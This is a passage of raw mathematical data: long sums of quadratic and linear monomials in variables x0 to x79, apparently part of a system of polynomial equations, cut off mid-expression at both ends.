x15*x27 + x15*x28 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x69 + x15*x71 + x15*x74 + x15*x76 + x15*x79 + x15 + x16*x17 + x16*x23 + x16*x25 + x16*x27 + x16*x28 + x16*x33 + x16*x36 + x16*x39 + x16*x40 + x16*x44 + x16*x46 + x16*x51 + x16*x57 + x16*x62 + x16*x65 + x16*x67 + x16*x68 + x16*x69 + x16*x73 + x16*x75 + x16*x76 + x16 + x17*x22 + x17*x23 + x17*x25 + x17*x27 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x46 + x17*x48 + x17*x50 + x17*x52 + x17*x57 + x17*x59 + x17*x60 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x72 + x17*x73 + x17*x78 + x17*x79 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x35 + x18*x38 + x18*x40 + x18*x41 + x18*x45 + x18*x47 + x18*x49 + x18*x52 + x18*x54 + x18*x55 + x18*x59 + x18*x60 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x71 + x18*x75 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x26 + x19*x30 + x19*x32 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x47 + x19*x50 + x19*x51 + x19*x56 + x19*x61 + x19*x70 + x19*x72 + x19*x73 + x19*x74 + x19*x77 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x26 + x20*x28 + x20*x29 + x20*x32 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x42 + x20*x43 + x20*x46 + x20*x47 + x20*x49 + x20*x51 + x20*x53 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x64 + x20*x67 + x20*x68 + x20*x69 + x20*x76 + x20*x78 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x37 + x21*x40 + x21*x42 + x21*x44 + x21*x47 + x21*x49 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x59 + x21*x61 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x77 + x21*x78 + x21 + x22*x24 + x22*x27 + x22*x28 + x22*x31 + x22*x32 + x22*x34 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x63 + x22*x68 + x22*x74 + x22*x77 + x22 + x23*x25 + x23*x26 + x23*x28 + x23*x31 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x43 + x23*x46 + x23*x47 + x23*x48 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x59 + x23*x62 + x23*x65 + x23*x68 + x23*x69 + x23*x71 + x23*x73 + x23*x75 + x23*x77 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x31 + x24*x32 + x24*x34 + x24*x35 + x24*x36 + x24*x40 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x47 + x24*x50 + x24*x53 + x24*x58 + x24*x59 + x24*x60 + x24*x64 + x24*x66 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x73 + x24*x74 + x24*x77 + x24*x79 + x25*x26 + x25*x27 + x25*x29 + x25*x32 + x25*x33 + x25*x35 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x48 + x25*x49 + x25*x51 + x25*x52 + x25*x54 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x67 + x25*x68 + x25*x70 + x25*x72 + x25*x73 + x25*x74 + x25 + x26*x27 + x26*x32 + x26*x37 + x26*x38 + x26*x40 + x26*x41 + x26*x44 + x26*x45 + x26*x47 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x63 + x26*x68 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x34 + x27*x43 + x27*x44 + x27*x46 + x27*x48 + x27*x52 + x27*x53 + x27*x54 + x27*x56 + x27*x59 + x27*x62 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x78 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x52 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x62 + x28*x63 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x74 + x28*x76 + x29*x30 + x29*x34 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x42 + x29*x43 + x29*x45 + x29*x46 + x29*x49 + x29*x53 + x29*x56 + x29*x57 + x29*x58 + x29*x60 + x29*x62 + x29*x63 + x29*x68 + x29*x70 + x29*x71 + x29*x76 + x29*x77 + x30*x34 + x30*x38 + x30*x39 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x76 + x30*x78 + x31*x33 + x31*x37 + x31*x38 + x31*x40 + x31*x41 + x31*x43 + x31*x46 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x55 + x31*x56 + x31*x57 + x31*x59 + x31*x62 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x76 + x31*x78 + x31*x79 + x32*x33 + x32*x35 + x32*x37 + x32*x38 + x32*x41 + x32*x42 + x32*x43 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x51 + x32*x57 + x32*x59 + x32*x60 + x32*x61 + x32*x64 + x32*x69 + x32*x71 + x32*x73 + x32*x76 + x32*x77 + x32*x78 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x45 + x33*x46 + x33*x51 + x33*x53 + x33*x54 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x63 + x33*x65 + x33*x68 + x33*x70 + x33*x73 + x33*x74 + x33*x79 + x33 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x46 + x34*x48 + x34*x49 + x34*x51 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x79 + x35*x43 + x35*x44 + x35*x46 + x35*x47 + x35*x48 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x58 + x35*x60 + x35*x62 + x35*x65 + x35*x67 + x35*x70 + x35*x72 + x35*x73 + x35*x75 + x35*x76 + x35 + x36*x37 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x45 + x36*x49 + x36*x50 + x36*x52 + x36*x56 + x36*x58 + x36*x60 + x36*x63 + x36*x64 + x36*x66 + x36*x68 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x37*x38 + x37*x39 + x37*x40 + x37*x42 + x37*x44 + x37*x46 + x37*x48 + x37*x49 + x37*x51 + x37*x52 + x37*x54 + x37*x55 + x37*x56 + x37*x58 + x37*x60 + x37*x62 + x37*x63 + x37*x64 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x48 + x38*x49 + x38*x52 + x38*x53 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x62 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x74 + x38*x77 + x38*x79 + x38 + x39*x41 + x39*x46 + x39*x49 + x39*x50 + x39*x53 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x61 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39 + x40*x42 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x54 + x40*x56 + x40*x57 + x40*x60 + x40*x61 + x40*x62 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x76 + x40*x79 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x48 + x41*x50 + x41*x54 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x64 + x41*x66 + x41*x67 + x41*x68 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x48 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x65 + x42*x66 + x42*x67 + x42*x68 + x42*x70 + x42*x72 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x44 + x43*x45 + x43*x47 + x43*x50 + x43*x51 + x43*x56 + x43*x58 + x43*x59 + x43*x60 + x43*x63 + x43*x65 + x43*x71 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x65 + x44*x67 + x44*x68 + x44*x71 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x45*x48 + x45*x49 + x45*x50 + x45*x52 + x45*x54 + x45*x57 + x45*x64 + x45*x67 + x45*x68 + x45*x71 + x45*x73 + x45*x76 + x45*x77 + x46*x47 + x46*x48 + x46*x49 + x46*x52 + x46*x53 + x46*x55 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x64 + x46*x65 + x46*x71 + x46*x72 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x46 + x47*x48 + x47*x49 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x66 + x47*x68 + x47*x72 + x47*x73 + x47*x76 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x70 + x48*x72 + x48*x74 + x48*x75 + x48*x77 + x48*x79 + x49*x50 + x49*x54 + x49*x55 + x49*x56 + x49*x58 + x49*x60 + x49*x61 + x49*x65 + x49*x66 + x49*x67 + x49*x70 + x49*x72 + x49*x74 + x49*x75 + x49*x79 + x49 + x50*x53 + x50*x55 + x50*x56 + x50*x58 + x50*x59 + x50*x65 + x50*x67 + x50*x68 + x50*x71 + x50*x73 + x50*x75 + x50 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x67 + x51*x69 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x55 + x52*x60 + x52*x61 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x70 + x52*x72 + x52*x74 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x60 + x53*x63 + x53*x66 + x53*x70 + x53*x73 + x53*x76 + x53*x78 + x53*x79 + x54*x55 + x54*x56 + x54*x57 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x73 + x54*x75 + x54*x77 + x55*x61 + x55*x67 + x55*x68 + x55*x71 + x55*x72 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x69 + x56*x70 + x56*x71 + x56*x75 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x75 + x57*x77 + x57*x78 + x58*x59 + x58*x63 + x58*x64 + x58*x65 + x58*x69 + x58*x70 + x58*x71 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x62 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x74 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x64 + x61*x67 + x61*x68 + x61*x70 + x61*x72 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x71 + x62*x75 + x62*x76 + x62*x78 + x63*x64 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x74 + x63*x76 + x63*x77 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x73 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x69 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65*x78 + x65 + x66*x68 + x66*x69 + x66*x75 + x66*x77 + x67*x69 + x67*x70 + x67*x75 + x68*x70 + x68*x72 + x68*x73 + x68*x75 + x68*x77 + x68*x79 + x69*x71 + x69*x73 + x69*x76 + x69*x78 + x69*x79 + x70*x72 + x70*x75 + x70*x76 + x70*x77 + x70*x78 + x70*x79 + x71*x74 + x71*x76 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x78 + x73*x75 + x73*x77 + x73*x79 + x74*x76 + x74 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + x77 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x20 + x0*x21 + x0*x23 + x0*x24 + x0*x25 + x0*x28 + x0*x33 + x0*x35 + x0*x36 + x0*x39 + x0*x40 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x49 + x0*x51 + x0*x52 + x0*x54 + x0*x57 + x0*x59 + x0*x62 + x0*x63 + x0*x64 + x0*x67 + x0*x68 + x0*x72 + x0*x74 + x0*x75 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x6 + x1*x8 + x1*x10 + x1*x12 + x1*x15 + x1*x16 + x1*x19 + x1*x20 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x31 + x1*x32 + x1*x34 + x1*x35 + x1*x36 + x1*x38 + x1*x41 + x1*x43 + x1*x44 + x1*x45 + x1*x46 + x1*x50 + x1*x52 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x59 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x70 + x1*x76 + x1 + x2*x3 + x2*x5 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x18 + x2*x24 + x2*x26 + x2*x30 + x2*x34 + x2*x36 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x49 + x2*x50 + x2*x51 + x2*x56 + x2*x60 + x2*x62 + x2*x64 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x3*x4 + x3*x7 + x3*x9 + x3*x13 + x3*x15 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x23 + x3*x25 + x3*x27 + x3*x28 + x3*x31 + x3*x35 + x3*x36 + x3*x39 + x3*x40 + x3*x41 + x3*x44 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x65 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x74 + x3*x75 + x3*x77 + x4*x5 + x4*x6 + x4*x7 + x4*x9 + x4*x19 + x4*x20 + x4*x22 + x4*x25 + x4*x26 + x4*x30 + x4*x31 + x4*x35 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x46 + x4*x49 + x4*x51 + x4*x52 + x4*x55 + x4*x57 + x4*x59 + x4*x61 + x4*x62 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x74 + x4*x78 + x4*x79 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x19 + x5*x20 + x5*x26 + x5*x27 + x5*x28 + x5*x34 + x5*x35 + x5*x36 + x5*x38 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x47 + x5*x49 + x5*x52 + x5*x53 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x70 + x5*x71 + x5*x73 + x5*x75 + x5*x78 + x5 + x6*x11 + x6*x12 + x6*x13 + x6*x16 + x6*x20 + x6*x21 + x6*x27 + x6*x28 + x6*x29 + x6*x31 + x6*x39 + x6*x40 + x6*x43 + x6*x44 + x6*x45 + x6*x49 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x68 + x6*x71 + x6*x74 + x6*x76 + x6*x79 + x7*x8 + x7*x9 + x7*x11 + x7*x17 + x7*x18 + x7*x23 + x7*x24 + x7*x26 + x7*x31 + x7*x32 + x7*x34 + x7*x35 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x44 + x7*x47 + x7*x51 + x7*x55 + x7*x56 + x7*x59 + x7*x62 + x7*x63 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x17 + x8*x19 + x8*x20 + x8*x23 + x8*x24 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x44 + x8*x45 + x8*x48 + x8*x52 + x8*x54 + x8*x60 + x8*x61 + x8*x62 + x8*x64 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x14 + x9*x17 + x9*x21 + x9*x24 + x9*x25 + x9*x27 + x9*x28 + x9*x30 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x42 + x9*x44 + x9*x46 + x9*x50 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x61 + x9*x63 + x9*x64 + x9*x66 + x9*x68 + x9*x73 + x9*x74 + x9*x76 + x9*x78 + x9*x79 + x10*x12 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x19 + x10*x20 + x10*x24 + x10*x25 + x10*x26 + x10*x28 + x10*x30 + x10*x33 + x10*x34 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x44 + x10*x49 + x10*x50 + x10*x52 + x10*x53 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x77 + x10*x79 + x11*x14 + x11*x15 + x11*x16 + x11*x21 + x11*x26 + x11*x28 + x11*x29 + x11*x30 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x39 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x50 + x11*x54 + x11*x57 + x11*x58 + x11*x59 + x11*x62 + x11*x66 + x11*x67 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x75 + x11*x77 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x21 + x12*x23 + x12*x27 + x12*x31 + x12*x35 + x12*x36 + x12*x37 + x12*x38 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x54 + x12*x55 + x12*x59 + x12*x61 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x74 + x12*x77 + x12*x79 + x13*x14 + x13*x16 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x24 + x13*x25 + x13*x27 + x13*x29 + x13*x32 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x39 + x13*x40 + x13*x43 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x56 + x13*x58 + x13*x61 + x13*x62 + x13*x65 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x74 + x13*x76 + x13*x78 + x13*x79 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x26 + x14*x32 + x14*x33 + x14*x38 + x14*x40 + x14*x41 + x14*x45 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x58 + x14*x59 + x14*x62 + x14*x64 + x14*x69 + x14*x70 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x19 + x15*x21 + x15*x22 + x15*x25 + x15*x28 + x15*x30 + x15*x31 + x15*x32 + x15*x34 + x15*x37 + x15*x38 + x15*x40 + x15*x42 + x15*x43 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x51 + x15*x59 + x15*x61 + x15*x62 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x73 + x15*x75 + x15*x77 + x16*x17 + x16*x18 + x16*x20 + x16*x21 + x16*x24 + x16*x32 + x16*x33 + x16*x35 + x16*x42 + x16*x43 + x16*x44 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x54 + x16*x57 + x16*x58 + x16*x60 + x16*x62 + x16*x63 + x16*x64 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x79 + x16 + x17*x18 + x17*x23 + x17*x25 + x17*x29 + x17*x30 + x17*x32 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x52 + x17*x56 + x17*x58 + x17*x59 + x17*x60 + x17*x64 + x17*x65 + x17*x66 + x17*x72 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x28 + x18*x29 + x18*x30 + x18*x32 + x18*x34 + x18*x35 + x18*x38 + x18*x39 + x18*x40 + x18*x43 + x18*x47 + x18*x48 + x18*x51 + x18*x52 + x18*x55 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x76 + x18*x79 + x18 + x19*x20 + x19*x21 + x19*x24 + x19*x25 + x19*x29 + x19*x30 + x19*x31 + x19*x33 + x19*x34 + x19*x38 + x19*x39 + x19*x43 + x19*x46 + x19*x49 + x19*x50 + x19*x53 + x19*x55 + x19*x58 + x19*x59 + x19*x62 + x19*x66 + x19*x68 + x19*x70 + x19*x73 + x19*x76 + x19*x79 + x20*x21 + x20*x24 + x20*x25 + x20*x26 + x20*x28 + x20*x31 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x41 + x20*x47 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x55 + x20*x60 + x20*x62 + x20*x63 + x20*x66 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x36 + x21*x37 + x21*x39 + x21*x41 + x21*x45 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x56 + x21*x61 + x21*x62 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x74 + x21*x75 + x22*x25 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x40 + x22*x41 + x22*x43 + x22*x48 + x22*x52 + x22*x53 + x22*x57 + x22*x59 + x22*x61 + x22*x62 + x22*x66 + x22*x67 + x22*x70 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x40 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x62 + x23*x65 + x23*x66 + x23*x70 + x23*x73 + x23*x74 + x23*x75 + x23*x77 + x23*x78 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x42 + x24*x46 + x24*x48 + x24*x49 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x57 + x24*x59 + x24*x63 + x24*x67 + x24*x68 + x24*x69 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x37 + x25*x39 + x25*x40 + x25*x43 + x25*x44 + x25*x45 + x25*x47 + x25*x50 + x25*x51 + x25*x53 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x65 + x25*x67 + x25*x72 + x25*x73 + x25*x77 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x39 + x26*x41 + x26*x43 + x26*x45 + x26*x47 + x26*x48 + x26*x50 + x26*x52 + x26*x53 + x26*x55 + x26*x57 + x26*x58 + x26*x59 + x26*x62 + x26*x63 + x26*x65 + x26*x71 + x26*x73 + x26*x76 + x26*x77 + x26*x79 + x27*x29 + x27*x31 + x27*x33 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x40 + x27*x42 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x56 + x27*x58 + x27*x61 + x27*x62 + x27*x66 + x27*x68 + x27*x74 + x27*x75 + x27*x77 + x27*x78 + x27 + x28*x29 + x28*x30 + x28*x33 + x28*x34 + x28*x35 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x47 + x28*x50 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x59 + x28*x62 + x28*x63 + x28*x65 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x75 + x28*x76 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x32 + x29*x37 + x29*x38 + x29*x40 + x29*x43 + x29*x45 + x29*x48 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x68 + x29*x70 + x29*x71 + x29*x72 + x29*x78 + x30*x31 + x30*x32 + x30*x37 + x30*x42 + x30*x43 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x51 + x30*x53 + x30*x55 + x30*x57 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x67 + x30*x70 + x30*x72 + x30*x76 + x30*x77 + x30*x79 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x40 + x31*x41 + x31*x48 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x57 + x31*x58 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x76 + x32*x33 + x32*x34 + x32*x37 + x32*x38 + x32*x39 + x32*x40 + x32*x41 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x64 + x32*x65 + x32*x68 + x32*x70 + x32*x71 + x32*x74 + x32*x77 + x32*x78 + x32*x79 + x33*x36 + x33*x37 + x33*x41 + x33*x44 + x33*x45 + x33*x48 + x33*x50 + x33*x53 + x33*x56 + x33*x58 + x33*x60 + x33*x62 + x33*x63 + x33*x67 + x33*x68 + x33*x71 + x33*x73 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + 